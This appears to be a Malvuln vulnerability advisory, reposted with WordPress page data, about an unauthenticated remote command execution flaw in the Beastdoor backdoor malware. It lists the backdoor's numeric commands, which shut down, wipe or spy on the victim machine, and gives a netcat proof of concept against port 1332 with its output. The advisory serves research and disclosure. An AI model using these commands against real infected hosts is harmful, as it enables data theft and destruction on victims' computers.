Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
\nOriginal source: https:\/\/malvuln.com\/advisory\/6268df4c9c805c90725dde4fe5ef6fea.txt
\nContact: malvuln13@gmail.com
\nMedia: twitter.com\/malvuln<\/p>\n
Threat: Backdoor.Win32.Beastdoor.oq
\nVulnerability: Unauthenticated Remote Command Execution
\nDescription: The malware listens on TCP port 1332, makes outbound connections to SMTP port 25 and executes a PE file named svchost.exe dropped in Windows directory. Third party adversaries who can reach an infected host can issue various numeric commands made available by the backdoor.
\nFamily: Beastdoor
\nType: PE32
\nMD5: 6268df4c9c805c90725dde4fe5ef6fea
\nVuln ID: MVID-2024-0674
\nDropped files: svchost.exe
\nDisclosure: 03\/09\/2024<\/p>\n
Commands:
\n27 return victims username and computer information
\n5 or 19 will shutdown victims computer
\n6 restart victims computer
\n9 delete all files including program files
\n16 victim computer screen goes black
\n28 returns clipboard information
\n30 terminates the backdoor and deletes it from the system<\/p>\n
Exploit\/PoC:
\nC:\\sec>nc64.exe x.x.x.x 1332
\n27
\n27
\nVICTIM DESKTOP-2C3IQHO Windows 8.1 Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHzC:\\WINDOWS\\C:\\WINDOWS\\system32\\1565 x 8302.01svchost.exe svchost.exe
\n28
\n28
\nI dont like u
\n30<\/p>\n
Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"
Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https:\/\/malvuln.com\/advisory\/6268df4c9c805c90725dde4fe5ef6fea.txt Contact: malvuln13@gmail.com Media: twitter.com\/malvuln Threat: Backdoor.Win32.Beastdoor.oq Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 1332, makes outbound connections to SMTP port 25 and executes a PE file named svchost.exe dropped in Windows directory. Third party adversaries who can …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55288","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55288","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55288"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55288\/revisions"}],"predecessor-version":[{"id":55317,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55288\/revisions\/55317"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}